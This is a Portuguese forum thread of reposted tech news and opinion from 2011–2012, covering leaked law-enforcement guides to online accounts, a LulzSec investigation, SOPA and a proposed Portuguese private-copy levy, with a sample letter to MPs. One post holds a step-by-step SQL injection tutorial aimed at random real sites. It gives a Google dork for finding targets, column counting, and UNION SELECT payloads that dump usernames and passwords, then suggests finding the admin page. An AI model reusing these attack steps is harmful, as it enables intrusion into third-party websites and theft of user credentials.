INFORMÁTICA

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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 24 nov 2011, 13:17

Descobertos guias de acesso a contas do Facebook e Hotmail

Guias de acesso a contas do Facebook, portais como o Hotmail da Microsoft, World of Warcraft ou AOL estão a ser distribuídos na Net, apesar de serem de uso restrito das autoridades dos EUA.

Segundo a imprensa internacional terá sido o grupo de hackers Anonymous que revelou em primeira mão os regulamentos de gestão de dados de contas do do AOL, Blizzard e portais da Microsoft. No caso do Facebook, a fuga terá sido feita pelo portal Publicintelligence.net, que tem notórias inspirações no Wikileaks.
Os guias discriminam os diferentes procedimentos que os investigadores policiais deverão seguir para obter a informação de suspeitos que usam os diferentes portais. A esta informação junta-se ainda a descrição de alguns regulamentos de gestão de informação dentro dos diferentes portais.
De acordo com a Cnet, os portais têm como prática corrente disponibilizar dados ou conteúdos considerados menos críticos sempre que a polícia pretende proceder à recolha de provas. Por seu turno, informação considerada mais sensível ou complexa só costuma ser disponibilizada aos investigadores mediante a apresentação de uma ordem de um juiz.
Os guias agora revelados na Internet permitiram descobrir algumas informações curiosas no que toca à gestão de informação dos internautas. Por exemplo, no Facebook os regulamentos vigentes em 2008 determinavam a manutenção dos registos de acesso ao portal durante 90 dias - mas tudo leva a crer que um novo regulamento, que entrou em vigor em 2010, terá aumentado o período de armazenamento desses dados.
No Hotmail, regulamentos de 2005 estabelecem que os dados de acesso às contas dos utilizadores são mantidos em arquivo durante 60 dias, mas não é definida qualquer obrigatoriedade para a manutenção dos dados de acessos às salas de chat do MSN.
Nos portais da Blizzard (entre eles, o do World of Warcraft) os registos de acessos são guardados sem qualquer limite temporal, mas os e-mails enviados ou apagados pelos utilizadores não são arquivados.


Ler mais: http://aeiou.exameinformatica.pt/descob ... z1ed1XSApK
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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 01 dez 2011, 15:33

Ministério Público inicia investigação contra os LulzSec


O Ministério Público deu início a uma investigação com objetivo de identificar os autores dos ataques aos sites do Parlamento, Portal das Finanças e Rede de Segurança Interna, que foram reivindicados pelo grupo de hackers LulzSec.

Os processos-crime foram iniciados pelo Departamento de Investigação e Ação Penal (DIAP) de Lisboa e deverão contar com a investigação da polícia judiciária, que deverá dar seguimento às ações que tem levado a cabo nos últimos tempo com o objetivo de apurar as responsabilidades pelos ataques, informa a Lusa.

Esta reação do Ministério Público surge um dia depois dos ataques ao site da Assembleia da República e um dia antes de um manifesto de mobilização da comunidade de hackers nacional para uma nova vaga de ataques a sites e redes de instituições portuguesas.


Ler mais: http://aeiou.exameinformatica.pt/ministerio-publico-inicia-investigacao-contra-os-lulzsec=f1011287#ixzz1fIVEi5u3
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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 04 dez 2011, 19:24

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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 13 dez 2011, 21:34

Livro de como se proteger online By Anónimos



The OpNewblood Super Secret Security Handbook

http://serpentsembrace.wordpress.com/2011/04/23/the-opnewblood-super-secret-security-handbook/


Guia de sobrevivência em revoluções By Anónimos

Anonymous survival guide for revolutions:

http://www.multiupload.com/1GA9HET58U
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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 06 jan 2012, 19:04

Depois dos a ataques a vários sites da psp aqui vai uma forma de como os ataques sao feitos "SQL Inject"


1º Passo: Encontrar um site vulnerável.Para isso vamos usar a seguinte string no google inurl:noticias.php?id=.

Aparecera uma lista de sites,escolha um e verifique se o site esta vulnerável a SQL INJECTION.

Suponhamos que voce escolheu o site:
http://sitevul.com.br/noticias.php?id=10
Para verficar se ele esta vulnerável é bem simples basta adicionar uma ASPAS no final do numero de ID.
http://sitevul.com.br/noticias.php?id=10'
Se aparecer uma mensagem de erro SQL o site esta vulnerável,se o site carregar normalmente ele não esta,e so partir para outro e tentar.

2º Passo: Aplicando os comandos SQL no site(UNIR AS TABELAS DO SITE).
Vamos procurar quantas tabelas o site possui com o comando ORDER BY ou GROUP BY ex:


http://sitevul.com.br/noticias.php?id=10 order by 1
Se o site carregar normalmente prossiga.
http://sitevul.com.br/noticias.php?id=10 order by 2
Se novamente carregar sem nenhum erro prossiga.
http://sitevul.com.br/noticias.php?id=10 order by 3
Se novamente carregar sem nenhum erro prossiga

http://sitevul.com.br/noticias.php?id=10 order by 4
Suponhamos que no order by 4 ele aparece uma mensagem de erro SQL,ok com isso verificamos que o site possui 3 tabelas.
Agora vamos unir as tabelas para saber em qual esta a informação desejada com o comando abaixo
:

http://sitevul.com.br/noticias.php?id=[b]-10 union all select 1,2,3--
Após a execução do comando suponhamos que a tabela foi a número 2.[/b]

3º Passo: Listando as tabelas e suas respectivas colunas.

Depois de ter unido as tabelas vamos lista-las com o comando:
http://sitevul.com.br/noticias.php?id=-10 union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema =database()--

Suponhamos que apareçam as seguintes tabelas:
Usuarios,Links,News.

Nosso interesse e a tabela usuarios,agora vamos listar as colunas da tabela USUARIO com o comando:
http://sitevul.com.br/noticias.php?id=-10 union all select 1,group_concat(column_name),3 from information_schema.columns where table_name='Usuarios'--

Após isso teremos as colunas:
Login,senha,email.

4º Passo: Pegando os dados com o comando CONCAT.

Insira o seguinte comando após descoberta as colunas:
http://sitevul.com.br/noticias.php?id=-10 union all select 1,concat(Login,0x3a,senha),3 from Usuarios--

Entendo o comando acima,ele vai mostrar o LOGIN/SENHA da tabela USUARIOS,o FILTRO 0x3a e o : que vai separar o login e a senha.

Ex:
Admin:123456

5º Passo: Encontrando a pagina do admin.
Vou utilizar o programa ADMIN FINDER que pode ser encontrado aqui:
viewtopic.php?f=49&t=8557293

Coloque o endereço do site no campo Target: http://sitevul.com.br/
E espere,nao é sempre que o mesmo encontra a tabela de admin.
Depois de encontrar a pagina do admin e so fazer oque achar melhor.

Ex: http://sitevul.com.br/admin/login.php


http://noticiasmundohackers.blogspot.com/
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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 06 jan 2012, 22:12

A Proposta de Lei da Cópia Privada do PS




Está de volta a Proposta de Lei da Cópia Privada já abordada anteriormente aqui e aqui, aquando da sua apresentação pela então Ministra da Cultura Gabriela Canavilhas, actualmente deputada do PS na Assembleia da República, agora batizada Projeto de Lei 118/XII. Naturalmente a indignação nos blogs e redes sociais não se fez esperar. São poucos os que a defendem. Pelo contrário na Assembleia da República parece que todos os partidos políticos estão de acordo pelo menos no principio basilar de alargar a taxa da cópia privada aos dispositivos digitais. Segundo li algures, o PSD até achará pequenas as taxas propostas pelo PS. É praticamente ponto assente que irá ser aprovada na generalidade e baixar à Comissão de Cultura onde as pequenas divergências serão discutidas, no sentido de uma futura aprovação final.

Para quem ainda não está a par, esta proposta de lei, para além de ajustes nas taxas aplicadas nos CD e DVD graváveis e respectivos gravadores), trás as seguintes novidades:

Memórias USB e cartões de memória – 6 cent. por GB

Discos externos “multimédia” – 6 cent. por GB (1TB = 60€)

Discos rígidos ou SDD externos ou internos com mais de 150GB – 2 cent. por GB, mais 0,5 cent. por cada GB acima de 1TB

Leitores MP3, leitores vídeo, telemóveis com MP3 – 50 cent por GB

Impressoras Multifunções Jacto de Tinta – 7,95€

Impressoras Multifunções Laser – 10€

Multifunções com mais de 17Kg de peso – 127,70€ a 227€ dependendo do número de cópias por minuto

Como se pode ver, os produtos de consumo mais onerados serão os discos externos “multimédia”. Aqueles com capacidades de reprodução e/ou gravação integradas. Passam a levar uma taxa de 60€ por terabyte de capacidade de armazenamento. Mas como é aplicada antes do IVA, na realidade será de 73,8€ por terabyte. É coisa para quase duplicar o PVP (preço de venda ao público) deste tipo de equipamentos. E para, a curto-médio prazo, se pagar mais pela taxa do que pelo aparelho!

Já discos, rígidos ou SSD, externos ou internos, com mais de 150GB, que são de consumo e utilização muito mais alargada, estamos a falar de uma taxa de 20€ por terabyte. Com IVA vai para quase 25€! Um aumento, no mínimo, de 25% e isto é a contar com os actuais preços ainda inflacionados pelas cheias na Tailândia e que a curto prazo se aproximará dos 50%. Para os discos de 2TB, vejo duas interpretações possíveis para o que diz a lei. Ou acima de 1TB se aplica a taxa de 0,5 cent. por cada GB, ou então esse é um valor adicional e cumulativo. O que se traduz, para um disco de 2TB, numa taxa de 25 ou 45€ (30,75 ou 55,35€ já com IVA). Para referência, eu comprei um disco externo de 2TB em Outubro, antes das cheias na Tailândia que afectaram a produção, por 90€. Estamos a falar de um aumento potencial de mais de 50%. Lá para finais de 2012, inícios de 2013, é também provável que a taxa ultrapasse o preço de um disco de 2TB.

Espero que ao menos as receitas deste IVA sejam igualmente canalizadas para a Cultura, mas algo me diz para duvidar…

Quem estiver contra esta proposta, convém exprimi-lo já aos nossos caríssimos deputados! Depois disto ser aprovado será tarde demais. Os emails dos diversos grupos parlamentares são os seguintes:

PS – gp_ps@ps.parlamento.pt

PSD – gp_psd@psd.parlamento.pt

PP – gp_pp@pp.parlamento.pt

BE – bloco.esquerda@be.parlamento.pt

PCP – gp_pcp@pcp.parlamento.pt

Verdes – PEV.correio@pev.parlamento.pt

No blog da Paula Simões encontram uma proposta do que poderão enviar. Sejam educados que não ganham nada em disparatar.

Por mim, proponho que se exija a legalização do download e partilha de ficheiros. No mínimo legalizar a neutralização de tecnologias anti-cópia. Cobrar taxas, em nome de um direito hoje em dia limitadíssimo, sem dar nada em troca, é que não está certo.

Mais logo será publicada uma mais longa e detalhada análise dos problemas desta lei. Logo de manhã era muito indigesto!

Actualização 1: Este Projecto de Lei não é do governo como o titulo original indicava, por lapso. É da autoria da ex-Ministra da Cultura Gabriela Canavilhas, e foi apresentada agora pelo Grupo Parlamentar do Partido Socialista.

Actualização 2: A pressão nos blogs e nas redes sociais parece ter surtido algum efeito. Esta manhã foram vários utilizadores do twitter a trocar mensagens com Carlos Zorrinho, actual Presidente do Grupo Parlamentar do Partido Socialista. Eu próprio lhe enderecei algumas. À tarde o deputado veio informar na sua conta no twitter que: «por iniciativa do PS o #pl118 desceu à comissão sem votação. Haverá audições antes da votação.» Parecem ser boas notícias, embora, mesmo com votação e aprovação na generalidade iria sempre descer à comissão. Comissão de Cultura, que como se prevê deve perceber imenso do mercado de dispositivos informáticos. Resta saber quem será ouvido nestas audições. Se forem, novamente, apenas a SPA e companhia, beneficiários directos das taxas, de nada servirá. É preciso ouvir retalhistas, fabricantes de hardware, e (claro!) representantes do público em geral.
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Re: INFORMÁTICA

Mensagempor Nautilus » 06 jan 2012, 22:29

Os fundamentos e problemas da proposta de Lei da cópia privada


Fundamentação/Racional desta Proposta de Lei
A Cópia Privada é um direito previsto no Código de Direitos de Autor, e que nos assiste a todos. Usufruímos dele quando por exemplo gravamos um CD para cassete para ouvir no carro, ou fazemos uma cópia do CD para o mesmo fim, ou convertemos e transferimos as músicas para o leitor de MP3. A taxa, já existente, que esta proposta de lei vem actualizar e alargar serve para compensar os autores, executantes e editoras, por estas cópias não autorizadas potencialmente lesivas das suas espectativas de retorno económico (quem copia um CD, não compra dois, ou não compra a cassete, etc).

Já este racional pode ser atacado, e não apenas pela injustiça de pagarem todos pelos eventuais “pecadores”. Todos estes actos de cópia são privados, executados para fins pessoais, utilizando dispositivos e meios que são nossa propriedade. Porque raio devemos compensar seja quem for por eventual perda de lucros pelo que fazemos com a nossa propriedade, na privacidade das nossas casas? Cozinhar em casa também não lesa os interesses económicos dos restaurantes? Quem fizer pão em casa, não lesa também as probabilidades da padaria da esquina lhe vender pão? E no entanto não se colocam taxas nas máquinas de fazer pão, ou na farinha, para distribuir pelas padarias! Mesma coisa com os iogurtes. Qualquer pessoa pode ir ao supermercado comprar um iogurte comercial, e “copia-lo” misturando em leite morno. Com um frasquinho de Actimel e 1 litro de leite, é capaz de dar um prejuízo brutal à Danone, não? Todavia não há taxa no leite nem nas iogurteiras para compensar esta “cópia privada” (para não lhe chamar pirataria!) de iogurtes.

Poderão dizer que a diferença é que copiar obras culturais lesa o direito de “propriedade intelectual” dos autores. Mas a Danone também deve ter a patente da estirpe de Lactobacillus que mete no Actimel, e podemos multiplica-los em casa que os direitos de “propriedade intelectual” da Danone não passam das nossas portas. Porque raio terão de entrar os direitos dos “autores”? Cantar no duche uma canção que não é nossa também é feito à revelia dos autores. Será que alguém já propôs taxas nos apetrechos de casa-de-banho, gel de banho ou quiçá na água para compensar os autores? E olhem que até pode prejudicar as vendas se o vizinho, farto de vos ouvir de manhã a assassinar uma canção da Lady Gaga, decidir não comprar o CD!

Eu também, ao escrever este e outros textos, sou autor. Mas nada tenho a ver com o que cada um fará nas suas casas com eles. Podem imprimir para dar a alguém a ler, podem enviar pelo correio ou email para um amigo, que nada tenho a ver com isso. Alguém até pode imprimir os meus artigos e usar como papel higiénico de tanto “gostar” deles! Não tenho nada com isso. Nem é uma questão de não conseguir controlar. O que fizerem com os meus textos na privacidade das suas casas, escritórios, e comunicações, para fins pessoais, sem fins lucrativos, não me diz respeito. Ponto!

Aumento e alargamento das taxas, diminuição dos direitos do consumidor
Assumamos que as “compensação” da cópia privada é perfeitamente lógica e legitima, e sigamos em frente. Originalmente este regime foi criado quando surgiram as cassetes áudio e respectivos gravadores nos anos 80. Foi uma forma de legalizar a sua venda e utilização, compensando em troca os autores (e editoras) com uma taxazita. As editoras gritavam que ia ser o fim do seu negócio quando vendessem só um disco que depois toda a gente copiaria para cassetes. As taxas não eram onerosas, salvo erro a referência eram 3% do PVP, e acabava por ser justo. Havia um certo equilíbrio, uma certa equidade. Em troca tinha-se a liberdade de gravar o que se quisesse nas cassetes. Em lado nenhum a lei dizia ser necessário ter o “original”. Dizia antes algo como “depois de disponibilizadas comercialmente, os autores perdem todos os direitos sobre a utilização privada das suas obras” ponto final, parágrafo. Gravava-se da rádio, dos nossos discos vinil, dos discos/cassetes dos amigos, etc, etc. E as editoras não foram à falência. Com aparecimento dos CD o negócio cresceu para níveis nunca antes vistos! Mesma coisa com os videogravadores VHS e respectivas cassetes.

Desde então, a linguagem que estabelece as utilizações livres, incluindo a Cópia Privada, foi revista, estabelecendo que “não devem atingir a exploração normal da obra, nem causar prejuízo injustificado dos interesses legítimos do autor”. Seja lá o q isso for. Fica para os juízes decidirem.

Apareceram também as tecnologias anti-cópia (vulgo DRM). Ao proibir por lei a sua neutralização, os legisladores feriram de morte a Cópia Privada. Mas do outro lado, do lado das taxas, tanto legisladores, como editoras, Sociedade Portuguesa de Autores, etc, continuam a querer aplicá-las, aumentá-las e expandi-las como se o equilíbrio e equidade original se mantivesse. Parece-me haver quem tenha estas taxas como direito adquirido dos autores, mesmo sem dar nada de significativo em troca.

Sejamos francos sobre a situação actual da sociedade moderna. São vendidos muitos DVD graváveis, discos externos e “discos multimédia”. Não será toda a gente, mas muitos compram-nos para colocar lá música, filmes, jogos e séries de TV protegidos por direitos de autor. E não são legitimas cópias privadas, feitas ao abrigo da lei actual. Não são cópias de obras adquiridas ou gravadas da TV ou da rádio. A origem é a internet. Os “downloads ilegais”. A partilha de ficheiros.

Ora esta proposta de lei, ao taxar os meios usados para fazer e armazenar as cópias, sem no entanto legalizar em contra-partida a partilha de ficheiros é uma hipocrisia. Não há aqui sombra de equidade, se quem pagar estas taxas brutais estiver sujeito a ser alvo, por exemplo, de uma queixa crime da ACAPOR ou da Associação Fonográfica Portuguesa por partilhar um filme ou música qualquer. É como se nos anos 80 se tivesse colocado taxas nas cassetes e gravadores, mas fosse ilegal dar-lhes uso, e se andasse a vigiar e punir quem gravasse coisas da rádio, da TV, ou dos amigos. O “gravar da rádio” da gerações actuais ninguém quer legalizar.

E será assim uma noção tão descabida? Em Espanha os tribunais têm declarado, repetidamente, a partilha de ficheiros, software e sites que a assistem, como legais (apoiando-se até por vezes na existência das taxas da cópia privada). Na Suíça também a lei o prevê e permite. Face a um terço da população “sacar” coisas da net o governo suíço até passou um ano a estudar o que fazer, concluindo que a “indústria” no geral não é prejudicada e que a lei não deve ser alterada.

Nos anos 80, na era cassetes analógicas, a taxa da Cópia Privada serviu para legalizar e compensar certos comportamentos sociais eventualmente lesivos (que não foram). Na era do digital parece que só serve para sacar dinheiro, sem legalizar absolutamente nada! Os suíços e espanhóis pagam taxas semelhantes às propostas, mas ao menos podem sacar o que quiserem!

Enormidade das taxas
É verdade que os meios actuais permitem muito maior facilidade ao fazer cópias e muito maior capacidade de armazenamento. Mas isso não justifica de forma alguma taxas que aumentem em 50%, e eventualmente 100% ou mais, o preço de venda. Voltemos novamente ao tempo das cassetes. Elas eram capazes de gravar exclusivamente áudio e/ou vídeo. Não havia gravação de dados, documentos, ou fotografias. As capacidades do cidadão comum encher uma cassete áudio ou VHS com conteúdos de produção/autoria própria era reduzidíssima comparada com hoje. A probabilidade de uma cassete, vendida nos anos 80-90, ser usada para copiar algo era incrivelmente maior a um disco rígido hoje em dia. E a taxa era então uma pequena percentagem.

Actualmente, toda gente tem uma máquina fotográfica no telemóvel, e que regra geral também grava vídeo. As novas gerações fartam-se de fazer vídeos para meter no youtube, criar as suas próprias músicas, ou misturar músicas já existentes, etc. A distinção entre autores e consumidores esbate-se. Há toda uma panóplia de conteúdos próprios que podem acabar num disco rígido (interno ou externo) para além de obras comerciais protegidas por direitos de autor.

Isto sem falar na utilização, extremamente comum (e aconselhável), de discos externos como mero backup do que temos no disco interno do(s) nosso(s) computador(es). É ridículo por exemplo alguém que tenha um computador da Apple, comprar um disco para usar com o sistema de backup TimeMachine e pagar 20€ de taxa de cópia privada (mais 5€ de IVA sobre a taxa). É completamente injustificado.

E o que dizer então de um cartão de memória comprado junto com uma máquina fotográfica, e que dificilmente algum dia terá outra coisa senão fotografias tiradas pela mesma?

Mas voltemos ao que é legal copiar, segundo a legislação actual, e que portanto é passível de compensação. Embora tal seja discutível, o download da internet é amplamente considerado ilegal. Partilhar ficheiros (fazer upload), pelo menos, é certo que seja. Os filmes em Blu-Ray têm todos obrigatoriamente protecção anti-cópia que é proibido por lei neutralizar. A maioria dos filmes em DVD também. A maioria dos ebooks (livros em formato electrónico) também. As boxes da ZON e da MEO permitem gravar para o disco interno, mas não passar para um externo. O que resta? Quase nada. Resta-nos a música, que tenhamos comprado em CDs, por download no iTunes ou outras lojas de MP3. E, ao contrário dos CDs, a venda em MP3 já pressupõe que a música será copiada. Não se pode transferir um MP3, para um leitor MP3 ou telemóvel, sem fazer uma cópia. É uma impossibilidade técnica! Não é um objecto físico que se pode retirar de um lado e colocar noutro. Até o conceito de “mover” um ficheiro implica copiar e depois apagar o “original”. Tal já tem, obrigatoriamente, de estar previsto e acautelado no preço de venda/licenciamento. Mesmo nos tempos em que o iTunes usava DRM nas músicas, sempre permitiu até 5 dispositivos. Afinal o comprador também não pode ouvir a música em mais que um dispositivo ao mesmo tempo, por muitas cópias que tenha! A obsessão dos Direitos de Autor pela “cópia” começa a ser uma noção ultrapassada por esta e outras realidades tecnológicas.

Portanto também não é razoável que as músicas compradas por download requeiram qualquer compensação (o que me leva a questionar a taxa de 50 cêntimos nos leitores MP3 e telemóveis). A não ser que seja considerado legal fazer cópias para os amigos, que não me parece ser o caso. Restam os CD, e as músicas que sejam deles convertidas e copiadas para discos rígidos, leitores MP3 e telemóveis.

Com base nisto é justificável uma taxa de 25€ num disco de 1TB? Ao contrário das cassetes analógicas e dos CD-R, quem é que compra um disco rígido de 1TB para encher de música? Pelas minhas contas dá para mais de 166 mil músicas em formato MP3 com um tamanho médio (a pecar por excesso) de 6 megabytes. Quantos em Portugal terão uma colecção de CDs com 166 mil músicas que possam copiar legitimamente para um disco de 1TB?

Mesmo usando um formato sem perda de qualidade, como o FLAC, ainda cabem 33 mil músicas com tamanho médio de 30MB cada.

Perda de competitividade do comércio nacional
Actualmente, com fronteiras abertas e internet, as lojas nacionais vivem em concorrência directa com as congéneres dos restantes países da União Europeia, alguns dos quais não aplicam qualquer taxa deste género. Já hoje se pode encomendar um disco externo Western Digital Elements 1TB na Amazon UK por cerca de 90€, com portes gratuitos. Na FNAC está a 99,99€. Aprovada esta proposta de lei, essa diferença passará de 10€ para 35€.


Também aqui na vizinha Espanha, onde existem há uns anos taxas semelhantes às propostas, o novo Governo do PP anunciou à dias que vão ser abolidas. Sempre geraram muita polémica em Espanha e o PP sempre se mostrou contra. A solução alternativa apresentada passará por um subsidio anual, saído do orçamento geral do estado, de 0,8 ou 0,9€ por habitante. É uma solução que tem alguns dos mesmos problemas de justiça e equidade, mas que não deixa de colocar o comercio espanhol (ainda) mais competitivo com o nacional. E a Amazon também já está igualmente estabelecida em Espanha.

Na França, onde existem estas taxas, tem havido queixas dos retalhistas precisamente por os consumidores comprarem directamente em lojas online estrageiras. Ao ponto da sociedade gestora da taxa já ter sido condenada a pagar 1 milhão de euros de indeminização a um retalhista online francês pelo “distorcer anormal da concorrência”.

Discriminação de produtos
Parece-me desfasada a discriminação dos “discos multimédia”, que pagam três vezes mais (taxa de 60€ por terabyte) que um disco externo normal. Um “disco multimédia” é funcionalmente idêntico a um leitor multimédia comprado sem armazenamento, e ao qual se adiciona depois, interna ou externamente um disco. Todavia uma coisa pagará 60€ e a outra 20€. Adivinhem o que os consumidores irão preferir comprar e o que deverá desaparecer do mercado. Prejudica-se as marcas que têm um tipo de produto e beneficia-se as que têm o outro tipo.

Também as memórias USB têm uma funcionalidade idêntica a um disco rígido externo, sendo apenas mais portáteis, e pagam também uma taxa três vezes superior. Cartões de memória idem aspas (e parece-me ainda mais improvável que sejam usados para cópias). Porquê?

Armazenamento na “cloud” (nuvem)
A tendência actual é ter tudo alojado na “nuvem”. Em servidores distantes que se acedem via internet quando e onde se desejar, em vez de andar com memórias USB ou discos externos. Uma inovação à qual esta taxa passa completamente ao lado, e que daqui a uns anos irá sem dúvida motivar desejos de nova “actualização”.

Aplicação a empresas e profissionais
Segundo a proposta de lei apenas estão isentas do pagamento de compensações as pessoas colectivas «cujo objecto de actividade seja a comunicação audiovisual ou produção de fonogramas e de videogramas, exclusivamente para as suas próprias produções» ou «cujo objecto de actividade seja o apoio a pessoas portadoras de diminuição física, visual ou auditiva.»

A deputada Gabriela Canavilhas disse até à comunicação social que «É nos equipamentos usados por profissionais que as taxas se fazem sentir mais – e é justo que assim seja, porque são equipamentos com maior capacidade».

Acontece que o Tribunal Europeu de Justiça decretou, na sua decisão de 21 de Outubro de 2010 relativa ao caso que opunha a sociedade de autores espanhola, a SGAE, à empresa Padawan, que a aplicação destas taxas quando a finalidade dos dispositivos e meios é profissional é contrária à legislação europeia.

Passo a citar: «é necessária uma ligação entre a aplicação da taxa destinada a financiar a compensação equitativa relativamente a equipamentos, aparelhos e suportes de reprodução digital e o uso presumido destes últimos para fins de reprodução privada. Por conseguinte, a aplicação, sem distinção, da taxa por cópia privada, designadamente no que respeita a equipamentos, aparelhos e suportes de reprodução digital não disponibilizados a utilizadores privados e manifestamente reservados a outros usos que não a realização de cópias para uso privado, não é conforme à Directiva 2001/29.»

(Parece-me que se verificará a mesma falta de ligação, entre aplicação da taxa e uso presumido para fins de reprodução privada, no caso dos cartões de memória nas máquinas fotográficas.)

A França até alterou a sua lei da cópia privada em Novembro passado, precisamente no sentido de excluir os profissionais que usam suportes digitais para as suas actividades e que nada tenham a ver com cópia privada.

Para quem vai as receitas da taxa?
Os mesmos de sempre. Os que têm poder, e os autores que têm obras publicadas comercialmente e estão inscritos na SPA. Os outros… são autores de segunda!

Até se pode afirmar que esta lei será um assalto da SPA e das editoras aos bolsos dos consumidores de produtos informáticos, com o aval do estado!

Prevê a proposta de lei «40% para os autores, 30% para os artistas, intérpretes ou executantes e 30% para os produtores de fonogramas e de videogramas». A distribuição por quem exactamente, é feita sabe-se lá bem como, provavelmente pelo sucesso comercial de cada obra.

Inalienabilidade e irrenunciabilidade
A proposta de lei diz que a «compensação equitativa de autores, e de artistas, intérpretes ou executantes, é inalienável e irrenunciável». É um passo positivo no sentido de evitar que estes transfiram este direito para as suas editoras e distribuidores. No entanto há casos em que complica, e que devem ser ressalvados.

Já aquando da apresentação em Maior passado surtiu polémica, inclusive internacionalmente, por se poder interpretar como invalidando em Portugal as licenças Creative Commons. A jurista da CC PT, Teresa Nobre, explicou na altura no Facebook, e numa troca de emails, que não é o caso. As licenças CC, pelo menos na versão 3.0, até levam esta possibilidade em conta, reservando para o autor o direito à compensação caso não seja renunciável.

No entanto, na apresentação foi dito que no caso das licenças Creative Commons, por estar autorizado explicitamente o uso privado, já não há à priori direito à compensação. Coisa que me parece ter toda a lógica, mas que deve ser explicitada no texto da lei para não haver confusões.

Caso contrário poderá dar-se a situação, por exemplo, das casas de fotocópias cobrarem taxa pela reprodução de obras CC. Taxa essa que os autores não desejam, e muito provavelmente nunca chegarão a receber, revertendo para autores de outras obras (publicadas com “todos os direitos reservados”). Poderá dar-se ainda o ridículo de, em Portugal, uma obra CC poder ser explorada comercialmente de forma completamente livre, mas para uso privado requerer compensação.

Definição de GigaByte
Falta definir no projeto de lei se 1GB = 1 000 000 000 ou 1 073 741 824 bytes. Fabricantes de discos rígidos e DVDs usam a primeira definição. Cartões de memória creio q a segunda. É um pormenor relativamente insignificante, mas que tem relevância para o cálculo das taxas a aplicar em cada produto. Na falta de definição, quem decidirá? A AGECOP (a sociedade gestora)? Ou fica conforme o fabricante classificar a capacidade do produto?

http://www.pcmanias.com/os-principios-e-problemas-da-proposta-de-lei-da-copia-privada/
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Re: INFORMÁTICA

Mensagempor Nautilus » 07 jan 2012, 20:39

Google e Facebook ponderam suspender os serviços


O SOPA (Stop Online Piracy Act), proposta de lei que o governo americano quer aprovar, está a provocar um verdadeiro rebuliço online. Surgiram rumores de que Google, Facebook e Twitter estão a considerar um «blackout».
E por blackout quer-se dizer, desligar por completo os serviços prestados pela empresa durante um determinado tempo. O SOPA é uma lei anti-downloads e que está a formar opiniões extremistas no mundo online: uns defendem a livre troca de ficheiros, outros não gostam e querem que toda a transferência de conteúdos tenha direitos de autor pagos (quando assim se aplica).
Como forma de protesto ao projecto lei que dia 24 vai a debate no senado americano, algumas das maiores empresas tecnológicas do mundo e que são usadas por milhões de pessoas por hora, estão a planear um boicote à web. A acontecer, será no dia 23 de Janeiro, e segundo os rumores multinacionais como o Google, Facebook, Twitter, Ebay, Amazon, Mozilla e Wikipedia poderão desligar os serviços como sinal de protesto contra o SOPA. Até ao momento apenas a Wikipedia declarou oficialmente a sua posição contra o projecto-lei, sendo que nenhuma das outras marcas tecnológicas tomou uma posição oficial.
Caso o apagão realmente aconteça e caso as empresas citadas adiram, quando tentar aceder ao Google para fazer uma pesquisa irá encontrar uma página de manifestação contra a lei anti-pirataria. Se aceder ao Facebook para actualizar o mural, a mensagem de protesto poderá ser ligeiramente diferente, mas a ideia contra o SOPA estará lá – resumindo, nada de serviços web. Ainda não há também nenhuma informação relativa à duração do movimento anti-SOPA e será executado a nível internacional, já que a lei apenas se aplicará aos EUA

http://www.tecnologia.com.pt/2012/01/google-e-facebook-ponderam-suspender-os-servicos
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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 08 jan 2012, 21:20

Projecto de Lei 118/XII do Partido Socialista


O Partido Socialista adiou por 15 dias a votação deste seu Projecto de Lei para a cópia privada. É uma boa oportunidade para pressionar os vários grupos parlamentares para que abortem este absurdo. Mais sobre isto: no blog do Rui Seabra, o texto do PL e algumas opiniões; da Paula Simões, o email aos grupos parlamentares e um post sobre estas taxas. Aqui podem ver como tem aumentado a capacidade dos discos rígidos, e extrapolar o custo desta lei para os próximos anos. E, da Jonasnuts, Para onde vai o dinheiro da Lei da Cópia Privada.

Aqui fica o email que eu enviei, e os endereços para quem quiser dar-lhes uma palavrinha também:

Grupo Parlamentar do Partido Socialista - gp_ps@ps.parlamento.pt
Grupo Parlamentar do Partido Social Democrata – gp_psd@psd.parlamento.pt
Grupo Parlamentar do Partido Popular – gp_pp@pp.parlamento.pt
Grupo Parlamentar do Partido do Bloco de Esquerda – bloco.esquerda@be.parlamento.pt
Grupo Parlamentar do Partido Comunista Português – gp_pcp@pcp.parlamento.pt
Grupo Parlamentar do Partido Ecologista “Os Verdes” – PEV.correio@pev.parlamento.pt


Exmos(as) Srs(as) Deputados(as) [do grupo parlamentar],

Venho por este meio pedir-vos que votem contra o Projecto de Lei 118/XII do Partido Socialista, que “Aprova o regime jurídico da Cópia Privada e altera o artigo 47.º do Código do Direito de Autor e dos Direitos Conexos Sétima alteração ao Decreto-Lei n.º 63/85, de 14 de Março.”

Este Projecto de Lei visa aplicar aos suportes digitais taxas de compensação pelo exercício do direito à cópia privada, tal como se faz com os suportes analógicos. No entanto, mantém a protecção legal dos sistemas de restrição de cópia (Digital Rights Management, DRM). Assim, seremos todos obrigados a pagar pelo direito à cópia privada de conteúdos digitais pela mesma lei que nos proíbe de os copiar sempre que as editoras assim entendam.

Este Projecto de Lei pretende “acompanhar a realidade e as incessantes inovações do mercado tecnológico”. No entanto, as taxas impostas são calculadas em função das capacidades do equipamento. Por exemplo, dois cêntimos por Gigabyte para um disco rígido. Esta formulação é precisamente o contrário do objectivo alegado. Na última década, a capacidade destes suportes aumentou cem vezes, para os mesmos preços. Se “a realidade e as incessantes inovações do mercado tecnológico” continuarem como até agora, daqui a dez anos o mesmo disco comprado em Portugal custará dezenas de vezes mais do que no resto da Europa, só por causa desta taxa. Como a compra online é outra inovação significativa do mercado tecnológico, o maior efeito deste Projecto de Lei será a destruição do mercado português destas tecnologias.

